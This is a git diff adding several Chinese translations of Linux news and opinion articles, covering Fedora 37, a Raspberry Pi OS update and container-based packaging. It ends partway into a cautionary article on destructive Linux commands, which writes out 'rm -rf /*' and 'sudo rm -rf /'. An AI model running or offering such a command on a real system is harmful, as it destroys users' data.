总结 + +我希望本指南可以帮助你通过终端连接到互联网。当你没有其他方式连接到 WiFi 时,这会有所帮助。例如,如果你在独立系统(不是 VM)中安装 Arch Linux,那么需要连接到互联网以通过终端使用 `pacman` 下载软件包。 + +如果你遇到任何问题,请在下面的评论栏中指出错误消息。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/connect-wifi-terminal-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://wiki.archlinux.org/index.php/Iwd +[2]: https://www.debugpoint.com/wp-content/uploads/2020/11/iwctl-Prompt.jpg +[3]: https://www.archlinux.org/packages/?name=iwd +[4]: https://www.debugpoint.com/wp-content/uploads/2020/11/iwctl-device-list-2.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2020/11/iwctl-available-networks.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2020/11/connect-to-WiFi-using-iwctl.jpg diff --git a/published/202209/20220909 Here-s What-s Coming to Fedora 37.md b/published/202209/20220909 Here-s What-s Coming to Fedora 37.md new file mode 100644 index 0000000000..5851daa6bb --- /dev/null +++ b/published/202209/20220909 Here-s What-s Coming to Fedora 37.md @@ -0,0 +1,128 @@ +[#]: subject: "Here's What's Coming to Fedora 37" +[#]: via: "https://news.itsfoss.com/fedora-37-features/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15016-1.html" + +即将到来的 Fedora 37 前瞻 +====== + +> Fedora 37 将于下个月发布。让我们来看看它带来的变化。 + +![][1] + +最好的 Linux 发行版之一的升级版,Fedora 37,即将面世。它将在下个月发布,如果一切按计划进行,它最早将于 2022 年 10 月 18 日发布。而测试版应该在 2022 年 9 月 13 日发布。 + +让我重点介绍一些你可能想关注的 Fedora 37 重要功能。 + +### Fedora 37 功能 + +![Fedora 37][2] + +[Fedora][3] 37 带有最新的 GNOME 桌面以及其他完善的功能。这些包括: + +#### 1、GNOME 43 + +![Fedora 37 切换菜单][4] + +GNOME 43 和其他一些技术改进将在 Fedora 37 中首次亮相。所以,看看它的体验如何应该是很令人感兴趣的。 + +这是一次旨在提高用户体验的实质性升级。GNOME 43 中的标志性的重要改进包括一个新的快速切换菜单和 [对 Nautilus 文件管理器的改变][5]。 + +![Fedora 37 UI][6] + +此外,其他一些重要的变化还有: + +* GNOME Web 浏览器对 WebExtensions 的支持。 +* 文件管理器中新的文档上下文菜单。 +* GNOME “软件”的改进。 + +#### 2、Linux 内核 5.19 + +![Fedora 37 neofetch][9] + +Linux 内核 5.19 是一个有用的更新,它改进了对 ARM SoC 的支持、英特尔的 Arc GPU 支持,以及对 RISC-V 架构支持的一些调整。 + +你可以查看 [Linux 内核 5.19 的变化列表][10] 来了解更多。 + +#### 3、桌面环境更新 + +虽然 GNOME 43 是 Fedora 的旗舰桌面环境,但你也可以找到带有 KDE Plasma 5.26、Xfce 4.16 和 MATE 1.24 的 Fedora 升级版。 + +在这些版本中,鉴于 KDE Plasma 桌面的一系列改进,带有 KDE Plasma 5.26 的 Fedora 37 也是一个不错的选择。 + +你可以在我们之前的报道中阅读更多 [关于 KDE Plasma 5.26 版本的信息][11]。 + +不要忘记,你也可以看到一个 [新的 Budgie 桌面的 Fedora 定制版][13]。 + +截至目前,桌面、控制中心、屏幕保护程序和桌面视图的软件包都已经出现在 [Fedora 的软件包源][15]。所以,我想你可以期待它们出现在 Fedora 37 的发布中。 + +#### 4、树莓派 4 支持 + +Fedora 支持树莓派,但不支持树莓派 4。 + +在 Fedora 37 中,由于对较新的 Linux 内核和 Mesa(图形加速)的上游改进,它 [正式引入了对树莓派 4 的支持][16]。 + +这些变化也应该使 Fedora 37 在树莓派 3 系列和 Zero 2 W 上有更好的体验。 + +#### 5、实验性的基于 Web 界面的安装程序 + +Fedora 37 将是第一个为其 [Anaconda 安装程序][17] 提供基于网页的用户界面的版本。 + +换句话说,这是对其当前安装程序的重新设计。请注意,在本次发布之后,它将只作为一个额外的预览镜像提供。 + +你可以单独下载它并进行实验。到现在为止,我们还不能试用它。所以,你需要在预览镜像可用后再去试试它。 + +#### 其他变化和新的默认壁纸 + +![Fedora 37 深色壁纸][18] + +对于 Fedora 37,除了可以期待很多技术上的改进,不要忘了,它还有一个新的壁纸,有浅色/深色的变体。上图显示了 Fedora 37 的深色壁纸。 + +浅色变体可以在本文的开头看到。 + +Fedora 37 的其他变化包括: + +![Fedora core os][19] + +* Fedora CoreOS 将被确认为 Fedora 的主要版本之一。 +* Fedora Cloud 将被列为官方版本之一。 +* GNU Emacs 28 更新。 +* 用于 Fedora 服务器的新 KVM 镜像。 + +你可以参考 [官方的 Fedora 37 更新日志][20] 了解更多技术细节。 + +💬 *你对即将发布的带有 GNOME 43 的 Fedora 37 版本有何看法?请在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-37-features/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/fedora-37-features.png +[2]: https://news.itsfoss.com/content/images/2022/09/fedora-37-screenshot-home.jpg +[3]: https://getfedora.org/ +[4]: https://news.itsfoss.com/content/images/2022/09/fedora-37-toggle-menu.jpg +[5]: https://news.itsfoss.com/gnome-files-43/ +[6]: https://news.itsfoss.com/content/images/2022/09/fedora-37-ui.jpg +[9]: https://news.itsfoss.com/content/images/2022/09/fedora-37-kernel.png +[10]: https://news.itsfoss.com/linux-kernel-5-19-release/ +[11]: https://news.itsfoss.com/kde-plasma-5-26-features/ +[13]: https://news.itsfoss.com/fudgie-fedora-budgie-announcement/ +[15]: https://src.fedoraproject.org/rpms/budgie-control-center +[16]: https://news.itsfoss.com/fedora-raspberry-pi-4/ +[17]: https://fedoraproject.org/wiki/Anaconda +[18]: https://news.itsfoss.com/content/images/2022/09/f37-wallpaper-dark.jpg +[19]: https://news.itsfoss.com/content/images/2022/09/fedora-core-os.jpg +[20]: https://fedoraproject.org/wiki/Releases/37/ChangeSet diff --git a/published/202209/20220909 The New Raspberry Pi OS Update Brings in Sweet Little Improvements.md b/published/202209/20220909 The New Raspberry Pi OS Update Brings in Sweet Little Improvements.md new file mode 100644 index 0000000000..dbc4e7ada9 --- /dev/null +++ b/published/202209/20220909 The New Raspberry Pi OS Update Brings in Sweet Little Improvements.md @@ -0,0 +1,104 @@ +[#]: subject: "The New Raspberry Pi OS Update Brings in Sweet Little Improvements" +[#]: via: "https://news.itsfoss.com/raspberry-pi-os-sep-update/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "zjsoftceo" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15032-1.html" + +新树莓派操作系统更新带来一些不错的小改进 +====== + +> 树莓派操作系统更新,增加了对 NetworkManager 支持以及新的操作快捷方式。 + +![The New Raspberry Pi OS Update Brings in Sweet Little Improvements][1] + +如果你是小型迷你计算机的狂热粉丝的话,你可能知道树莓派可以用作成熟的桌面计算机使用。此外,它也是支持各种电子/物联网项目的核心组件。 + +虽然许多 Linux 发行版为树莓派提供了镜像文件,但树莓派基金会仍然提供了其官方操作系统,即 [树莓派操作系统][2]Raspberry Pi OS。 + +顺便说一句,树莓派操作系统是基于 Debian 的。具体来说,当前版本是基于 [Debian 11 Bullseye][3] 的,它是采用 LXDE 作为桌面应用环境的轻量级操作系统。 + +### 树莓派操作系统:带来了什么最新内容? + +尽管这个最新的更新并不是一个重大更新,但它仍然带来了一些有用的补充。如果你把树莓派用作桌面计算机来使用,你一定会欢迎它的。 + +让我们来看看新版本提供了什么。 + +#### 主菜单的快速搜索功能 + +虽然 Windows 系统和许多 Linux 发行版已经包含了这个基本功能,但树莓派操作系统之前一直没有这个功能。 + +用户可以点击“树莓派”图标或键盘上的默认主机键,打开主菜单,键入要启动的应用程序的名称,就会自动出现一个新的搜索框。 + +可用向上和向下箭头键来浏览菜单,用回车键选择应用。 + +![主菜单的新搜索框][4] + +如果用户不键入任何内容,则主菜单的功能与点击“树莓派”图标以显示应用程序时的功能完全相同。 + +再也不需要用鼠标光标来打开应用程序了。 + +#### 全新的键盘操作快捷方式 + +就像主菜单一样,你还可以通过键盘打开 Wi-Fi 和切换蓝牙功能。 + +按下 `Ctrl+Alt+W` 将打开 Wi-Fi 菜单,而 `Ctrl+Alt+B` 是用于蓝牙的。 + +#### 增强型音频输入控制 + +任务栏现在将为输入和输出设备显示两个单独的图标,而不是单个默认音量图标。 + +![音量滑块][5] + +每当连接音频输入设备时,扬声器图标旁边也会弹出一个麦克风图标。此外,如果连接了多个音频输入设备,用户可以右键单击该图标从列表中选择设备,而左键单击将显示音量控制滑块。 + +#### 支持 NetworkManager + +NetworkManager 是许多 Linux 发行版用来处理网络功能的流行的守护程序。它包括许多功能,可帮助用户相应地调整和配置网络设置。 + +如果你想进一步了解,请在此处了解有关 Linux 中守护程序的更多信息: + +> **[什么是 Linux 中的守护进程?为什么使用它们?][6]** + +就其功能而言,引入了对 NetworkManager 的初步支持,以作为 dhcpcd 的替代选项。这意味着用户可以轻松管理 VPN 连接,而不会有太多麻烦,甚至可以将树莓派配置为一个 Wi-Fi 接入点。 + +![][8] + +> 请注意,NetworkManager 的支持应该还在测试中。为了获得稳定的网络体验,建议用户继续使用 dhcpcd。 +> +> 如果你仍然想尝试 NetworkManager,则需要遵循一些高级步骤。但可以放心,如果在使用 NetworkManager 时遇到任何问题,可以选择切换回 dhcpcd。 + +如果你想了解有关该版本的更多信息,[官方发行说明][9] 包括了更多详细信息。 + +### 获取树莓派操作系统 + +前往下面链接的官方下载页面下载新的镜像文件。 + +> **[获取树莓派操作系统][10]** + +你可以在任何系统上使用树莓派 Imager 来制作要在树莓派上使用的 microSD 卡。不管如何,你都可以单独下载树莓派操作系统文件进行设置。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/raspberry-pi-os-sep-update/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[zjsoftceo](https://github.com/zjsoftceo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/raspberry-pi-os.jpg +[2]: https://www.raspberrypi.com/software/ +[3]: https://news.itsfoss.com/debian-11-feature/ +[4]: https://news.itsfoss.com/content/images/2022/09/menu.png +[5]: https://news.itsfoss.com/content/images/2022/09/mic.png +[6]: https://itsfoss.com/linux-daemons/ +[8]: https://news.itsfoss.com/content/images/2022/09/nm.png +[9]: https://www.raspberrypi.com/news/the-latest-update-to-raspberry-pi-os/ +[10]: https://www.raspberrypi.com/software/ diff --git a/published/202209/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md b/published/202209/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md new file mode 100644 index 0000000000..6da7567b79 --- /dev/null +++ b/published/202209/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md @@ -0,0 +1,218 @@ +[#]: subject: "Traditional Linux Packaging is not Suitable for Modern Applications [Opinion]" +[#]: via: "https://news.itsfoss.com/traditional-packaging-modern-applications/" +[#]: author: "Community https://news.itsfoss.com/author/team/" +[#]: collector: "lkxed" +[#]: translator: "gpchn" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15027-1.html" + +传统的 Linux 软件包格式不适合现代应用 +====== + +> 开源贡献者 Hari Rana 表达了他对传统 Linux 软件包格式不再适合现代应用的看法。 + +![传统的 Linux 软件包格式不适合现代应用][1] + +*图片来源:来自 [Unsplash][2] 的 [Kelli McClintock][3]* + +我多次遇到用户抱怨 LTS 和稳定版的应用软件包有问题,但又声称开发版从来没有发生过这种事情。然而,以我在软件包技术方面的经验和知识,我不能不强调,这是不对的。 + +发行模式不是问题的根源所在,根本的问题是传统的软件包格式不适合现代的图形应用,不管是什么发行版。那么像 Nix 和 Flatpak 这样的格式是如何解决这些基本问题的?有趣的是,大多数服务器确实利用了容器化(即 Docker),因为它提高了可重复性并增强了可维护性。我们可以从中得到启发,采用一个适用于 Linux 桌面的类似标准。 + +### 免责声明 + +1. “传统软件包”是指使用包管理器发布的图形应用程序,而不使用容器,如 `apt`、`dnf`、`pacman` 等。 +2. “发行模式”是指发行过程,如长期支持版(LTS)、稳定版和开发版等。 +3. “类似的应用程序”是指两个在技术上真正相似的应用程序,如 [Visual Studio Code][4] 和 [Code - OSS][5]。 +4. 在这些例子中,我将使用 Arch Linux 作为参考。然而,这些行为与那些大量采用传统软件包格式的发行版是一致的。 +5. Nix 不使用容器,它也不是一种容器格式。但为了简单起见,我暂时把它称为一种容器格式。 + +### 根本问题 + +![][6] + +*图片来源:来自 [Unsplash][7] 的 [Jackson Simmer][8]* + +大多数(或许不是全部)大量采用传统软件包格式的发行版都有这个共同的问题:它们都没有利用容器或其他方便的方法来分离依赖关系。用通俗的话说,容器是一个盒子,我们可以把东西放在里面,在不影响主系统(主机)的情况下单独使用它们。 + +容器通常不会影响“盒子”外的任何东西。并且它们是可移植的,因为它们可以安装在其他发行版上,同时提供一致的体验。利用容器的包管理器会将每个软件包安装在不同的容器中,这提供了一个额外的安全层。这给了开发者更多的控制权和灵活性,他们可以决定在软件包内捆绑什么。 + +传统的软件包格式产生了一些问题,比如依赖性和包的冲突,这些问题通常需要解决,而不同的发行版有不同的解决办法。 + +#### 依赖性和软件包的冲突 + +如果我们试图安装 [Visual Studio Code][9]([visual-studio-code-bin][10]),而 [Code - OSS][11]([code][12]) 已经安装在 Arch Linux 上,我们会遇到这个问题: + +``` +$ paru -S visual-studio-code-bin +[...] +:: Conflicts found: + visual-studio-code-bin: code +:: Conflicting packages will have to be confirmed manually +Aur (1) Old Version New Version Make Only +aur/visual-studio-code-bin 1.70.1-1 No +``` + +这就是所谓的软件包冲突,即两个或多个软件包不能共存。在这种情况下,我们不能同时安装 Visual Studio Code 和 Code - OSS。 + +当两个应用程序或软件包提供相同的文件,具有相同的名称,并被放置在同一目录下,那么它们实际上是不能共存的,因为这些文件会发生冲突。在这个例子中,Visual Studio Code 和 Code - OSS 都提供了一个名为 `code` 的文件,它们都被放在 `/usr/bin` 中。Visual Studio Code 提供的 `code` 文件用于启动 Visual Studio Code,而 Code - OSS 的 `code` 文件则用于启动 Code - OSS。 +虽然这个例子只展示了 Visual Studio Code 和 Code - OSS,但这种情况经常发生在不同的应用程序、库和其他软件中。 + +#### 无法选择依赖项 + +![][13] + +*图片来源:来自 [Unsplash][14] 的 [Priscilla Du Preez][15]* + +传统软件包格式的最大问题之一是,打包者不能选择依赖项。 + +例如,如果一个应用程序最近更新,需要依赖版本 1 的程序 A,但发行版只提供了版本 0.9 的程序 A,那么对于升级该应用程序来说就不太理想,因为发行版无法满足要求。这意味着打包者将不得不暂缓打包,直到该发行版发布新的依赖项,或者采用变通的方法。 + +同样,如果一个应用程序需要依赖 0.8.1 版本的程序 A,但发行版却只提供了 0.9 版本的程序 A,那么这个应用程序就会表现失常,甚至完全不能运行。 + +##### 带补丁的库和编译配置 + +为了扩展,一些应用程序需要带补丁的库或额外的编译配置才能正常运行。例如,OBS Studio 需要一个 [打了补丁的 FFmpeg][16] 来与 OBS Studio 更好地整合。 + +在传统的软件包格式下,一次只能安装一个依赖项的变体。如果发行版提供的是未打过补丁的 FFmpeg,那么就没有办法安装打过补丁的 FFmpeg,除非打包者能解决这个问题。如果安装了打过补丁的 FFmpeg,但另一个程序高度依赖未打过补丁的 FFmpeg、打过其他补丁的 FFmpeg、内置或删除了其他功能的 FFmpeg,那么其他程序就会出现 bug。 + +现代应用程序本质上是脆弱的。依赖关系树中的一个小错误或不一致,就会导致应用程序的 bug,使用户体验恶化,甚至会让人觉得是应用程序的问题,而不是软件包本身的问题,这就会妨碍应用程序的声誉。 + +#### 变通方法 + +让我们看看目前开发者用来打包应用程序的变通方法: + +1. 第一种解决方法是在不同的目录中安装依赖库。例如,Electron 是一个巨大的框架,开发者用它来构建应用程序,然后将它们捆绑起来。然而,基于 Electron 的应用程序是不同的,因为它们是建立在不同版本的 Electron 之上的。Discord 捆绑了 Electron 13,而 Element 捆绑了 Electron 19。对于 Arch Linux 上的 Electron 打包,某些目录需要安装在 `/opt/APPLICATION_NAME` 中,所以这些 Electron 版本 [不会相互冲突][17]。 +2. 第二种解决方法是篡改应用程序。例如,给应用程序打上补丁,使其在没有某些依赖库或功能的情况下编译,这可以使应用程序成功编译,但不能保证该应用程序能够启动或按预期工作。 +4. 第三种解决方法是在编译应用程序时禁用许多编译选项,这也可能禁用一些功能。例如,在 Arch Linux 上,OBS Studio 在编译时禁用了许多基本功能,这 [导致了不合格的体验][18]。 + +这些解决方法因人而异,有些会限制应用程序的功能,有些会引入稳定性问题等等。 + +#### 不一致的体验 + +![西班牙兰萨罗特岛(加那利群岛)的蒂曼法亚火山国家公园的火山口景观][19] + +*图片来源:来自 [Unsplash][20] 的 [alevision.co][21]* + +虽然这些技术限制在整个传统软件包格式中是一致的,但用户体验往往不是这样。由于软件包的发布方式,发行模式与传统软件包格式相结合会影响用户体验。 + +一些发行版,如 Arch Linux,接近于开发版,因此有最新版本的软件包。然而 Debian 和 Ubuntu LTS 是 LTS 长期支持版,所以它们的很多软件包都落后几个版本。同时,Fedora Linux 和 Ubuntu 稳定版处于 Debian / Ubuntu LTS 和 Arch Linux 之间。 + +一些软件包格式喜欢尽可能少地给软件包打补丁,以保持它们最接近原版;而另一些格式打补丁是为了增加更多的功能,使用旧库或进行其他类型的更改,以改善用户体验。一些格式喜欢使软件更加轻量化;而另一些格式更喜欢尽可能地添加更多内置功能。软件包有各种各样的习惯和偏好。 + +正如我们所看到的,一个应用程序在不同的发行版中的构建方式非常不同。此外,不同的发行版的依赖关系也是不同的。传统软件包格式的许多技术限制需要根据发行模式和打包策略采取不同的解决方法。这些微小的变化往往给用户带来不完整的、不合格的体验和错误的印象。一些应用程序可能在某些发行版上运行得更好,但在其他发行版上运行得很差,而其他一些应用程序则运行得更好。即使一个应用程序在每个发行版上的构建方式不同,但其名称和品牌却保持原样,给用户留下错误的印象。 + +### 解决方案 + +![][22] + +*图片来源:来自 [Unsplash][23] 的 [Riccardo Annandale][24]* + +如上所述,解决这些问题的方法是使用容器。 + +容器被设计用来分离系统的几个方面。通过使用容器,打包者可以挑选依赖项而不受主机上的库限制。因此,打包者可以发布最新的、功能完整的软件包,同时保持发行的稳定性。 + +这一点非常重要,因为这些容器格式可以将应用程序和发行版发挥出最大的作用,而不会对系统造成破坏性的影响。 + +#### Nix 和 Flatpak + +[Nix][25] 是一个跨平台的包管理器,可以在类 Unix 操作系统中运行,如 Linux 发行版、BSD 和 macOS。Nix 有几个 [通道][26](分支)供用户使用。 + +另一方面,[Flatpak][27] 是一个用于 Linux 桌面的通用软件包格式,它也利用容器,但另外还有沙盒来隔离它们。它旨在以后可以供普通人使用,并被设计为与软件商店(如 GNOME “软件Software” 和 KDE “发现Discover)集成。换句话说,Flatpak 更像是发行版的一个扩展,而不是一个软件包格式的替代品,因为它的设计初衷不是为了取代系统包管理器。 + +如果使用 NixOS 等发行版,Nix 也可以作为一种扩展或单独使用。 + +#### 类似的应用 + +Nix 和 Flatpak 解决了传统软件包格式的许多基本问题。由于应用程序的分离,这些格式可以安装类似的应用程序,如 Visual Studio Code 和 Code - OSS,而不会冲突。 + +#### 多个版本 + +Nix 和 Flatpak 可以安装同一个应用程序的多个版本。使用 Nix,我可以从 `nixpkgs-stable`(LTS)安装应用程序,同时也可以从 `nixpkgs-unstable`(开发版)安装同一个应用程序。 + +同样地,使用 Flatpak,我可以同时从 `stable` 和 `beta` 分支安装应用程序。我可以从更多的途径和分支继续安装同一个应用程序,而不会遇到冲突。 + +#### 挑剔的依赖项 + +![采摘樱桃][28] + +*图片来源:来自 [Unsplash][29] 的 [Ish de loyola][30]* + +此外,打包者可以将应用程序与不同变体的库捆绑在一起,从而有机会启用更多的构建选项,并使用打过补丁或特定版本的库,从而为用户提供完整的体验。 + +这意味着打包者可以将打了补丁的 FFmpeg 与 OBS Studio 捆绑在一起,只为了用在 OBS Studio 中。如果我在主机上安装了普通的 FFmpeg,那么 OBS Studio 的补丁 FFmpeg 就不会与主机的 FFmpeg 发生干扰或冲突。 + +#### 各个发行版的环境都是一致的 + +如上所述,各发行版使用不同的补丁、构建选项和环境构建应用程序。这导致了应用程序的碎片化,每个应用程序的构建方式和工作方式往往不尽相同。由于 Nix 和 Flatpak 是为跨发行版运行而设计的,它们在每个发行版中为应用程序提供一致的环境,前提是发行版提供了 Nix 或 Flatpak 的支持版本。 + +#### 缺点 + +就像所有事物一样,Nix 和 Flatpak 不是完美的。由于最近在 Linux 桌面上容器技术得到了推崇,它们可能为许多应用程序提供了不寻常的环境。 + +Flatpak 不仅包含了应用程序,还对它们进行沙盒处理。Flatpak 的开发者已经实施了一个短期的变通方案,“在沙盒上打洞”,即所谓的静态权限。他们正在开发适当的长期解决方案,称为 [XDG 门户][31],以解决有关沙盒的许多问题,并使其像 Android 的安全模型一样。 + +唯一的短期问题是,工具包、框架和应用程序必须采用这些标准。GTK 和 Qt 这样的工具包集成了其中一些门户portal,但它们也需要时间来集成其他的门户。同时,许多其他的工具箱还没有真正集成任何门户。 + +工具包、框架和应用程序采用这些新标准是一个时间问题,因为在 XDG 门户之前没有任何适当的标准。应用程序可以直接访问文件系统和 API,所以静态权限保持这种 “标准”。 + +### 结论 + +传统软件包格式的根本问题是它没有利用容器。许多图形化的应用程序本质上是复杂的,需要非常具体的依赖关系才能按预期运行。许多发行版通过使用变通的方法在不同的环境中构建同一个应用程序,例如给应用程序打补丁或禁用某些构建选项。这导致了一个应用程序的不同变体、不一致的行为和不合格的用户体验。 + +当然,发行版的维护者不可能在几天内现实地重写他们的包管理器并使用容器。这些重写会破坏许多脚本、功能等,而且还需要很长时间才能投入生产环境。 + +我个人的建议是使用和推广 Flatpak,因为它只是为了扩展现有的发行版,而不是取代它。打包者不必担心打包应用程序,以及诉诸变通的问题,因为 Flatpak 已经在处理这些问题了。 + +作者 Hari Rana [最初发表于此博客][32]。 + +Hari 是 Fedora 杂志的 Fedora 编辑委员会的成员。他也是 Fedoea 质量保证(QA)的一员。Hari 希望通过推广各种技术和帮助需要帮助的人,为 Linux 桌面的采用作出贡献。 + +**本文所表达的观点和意见是作者本人的,并不代表我们的观点。** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/traditional-packaging-modern-applications/ + +作者:[Community][a] +选题:[lkxed][b] +译者:[gpchn](https://github.com/gpchn) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/team/ +[b]: https://github.com/lkxed +[1]: https://images.unsplash.com/photo-1573376670774-4427757f7963?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDY2fHxwYWNrYWdpbmd8ZW58MHx8fHwxNjYyNzgzMzY1&ixlib=rb-1.2.1&q=80&w=1200 +[2]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[3]: https://unsplash.com/es/@kelli_mcclintock?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[4]: https://code.visualstudio.com/ +[5]: https://github.com/microsoft/vscode +[6]: https://images.unsplash.com/photo-1612933510543-5b442296703b?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDEwfHxwcm9ibGVtfGVufDB8fHx8MTY2Mjc4MzEwNg&ixlib=rb-1.2.1&q=80&w=2000 +[7]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[8]: https://unsplash.com/@simmerdownjpg?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[9]: https://code.visualstudio.com/ +[10]: https://aur.archlinux.org/packages/visual-studio-code-bin +[11]: https://github.com/microsoft/vscode +[12]: https://archlinux.org/packages/community/x86_64/code/ +[13]: https://images.unsplash.com/photo-1601001816339-74036796370c?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDl8fGNoZXJyeSUyMHBpY2t8ZW58MHx8fHwxNjYyNzgzNDA4&ixlib=rb-1.2.1&q=80&w=2000 +[15]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[14]: https://unsplash.com/@priscilladupreez?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[16]: https://github.com/obsproject/obs-studio/blob/fe889ec28ebd2f323b5933b7b11c5a9207539c59/CI/flatpak/com.obsproject.Studio.json#L259-L261 +[17]: https://wiki.archlinux.org/index.php?title=Electron_package_guidelines&oldid=661963#Directory_structure +[18]: https://www.youtube.com/watch?v=FPjEdrik-eQ +[19]: https://images.unsplash.com/photo-1595399822864-94ec54889cc7?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDl8fGJ1bXB5JTIwcm9hZHxlbnwwfHx8fDE2NjI3ODQ3MTI&ixlib=rb-1.2.1&q=80&w=2000 +[20]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[21]: https://unsplash.com/@alevisionco?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[22]: https://images.unsplash.com/photo-1474631245212-32dc3c8310c6?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDR8fHNvbHV0aW9ufGVufDB8fHx8MTY2Mjc4MzI5NA&ixlib=rb-1.2.1&q=80&w=2000 +[23]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[24]: https://unsplash.com/@pavement_special?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[25]: https://github.com/NixOS/Nix +[26]: https://nixos.wiki/wiki/Nix_channels +[27]: https://flatpak.org/ +[28]: https://images.unsplash.com/photo-1626829622490-43c7d7c80ac8?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDF8fGNoZXJyeSUyMHBpY2t8ZW58MHx8fHwxNjYyNzgzNDA4&ixlib=rb-1.2.1&q=80&w=2000 +[29]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[30]: https://unsplash.com/@ishphotos_?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[31]: https://github.com/flatpak/xdg-desktop-portal +[32]: https://theevilskeleton.gitlab.io/2022/08/29/traditional-packaging-is-not-suitable-for-modern-applications.html diff --git a/published/202209/20220911 10 Destructive Linux Commands You Should Never Run.md b/published/202209/20220911 10 Destructive Linux Commands You Should Never Run.md new file mode 100644 index 0000000000..2a18fe75d3 --- /dev/null +++ b/published/202209/20220911 10 Destructive Linux Commands You Should Never Run.md @@ -0,0 +1,219 @@ +[#]: subject: "10 Destructive Linux Commands You Should Never Run" +[#]: via: "https://itsfoss.com/dangerous-linux-commands/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15022-1.html" + +10 大可以摧毁你的 Linux 的命令 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/12/184637rc8znomk1ok7o2wx.jpg) + +什么是最危险的 Linux 命令? + +有人无数次问我这个问题,我一直避免回答,因为**没有一个明确的危险的 Linux 命令清单**。 + +你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你,但如果你不熟悉这些命令和工具,你可以很容易地把你的系统摧毁。 + +想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床?那会对她的成长造成损害。 + +这就是父母设定界限和引导孩子的地方。不要靠近火堆,不要把手指戳到电源插座上……随着孩子的成长和经验的积累,她可以把炉子打开,在壁炉里生火,插上电源线。 + +同样,如果你知道一些已知的风险命令,你可能会避免落入巨魔的陷阱,他们试图欺骗你运行命令,扰乱你的系统。 + +当你积累了经验,知道了这些命令和工具的含义和用法,用愚蠢和棘手的命令破坏你的系统的机会就会减少。 + +我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。 + +> **免责警告:如果你不清楚你在做什么,请勿尝试本文提及的这些命令,否则后果自负。** + +### 1、rm -rf /* + +这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。 + +`rm` 命令用来删除文件/目录。标志 `-r` 和 `-f` 表示递归地删除指定目录内的所有文件。现在,如果没有 root 权限,这个命令不会造成任何伤害。 + +运行 [sudo rm -rf /][1] 命令也不会产生任何问题,因为大多数发行版提供了一个故障安全选项。你需要指定 `--no-preserve-root` 才能实际运行它。 + +``` +sudo rm -rf / 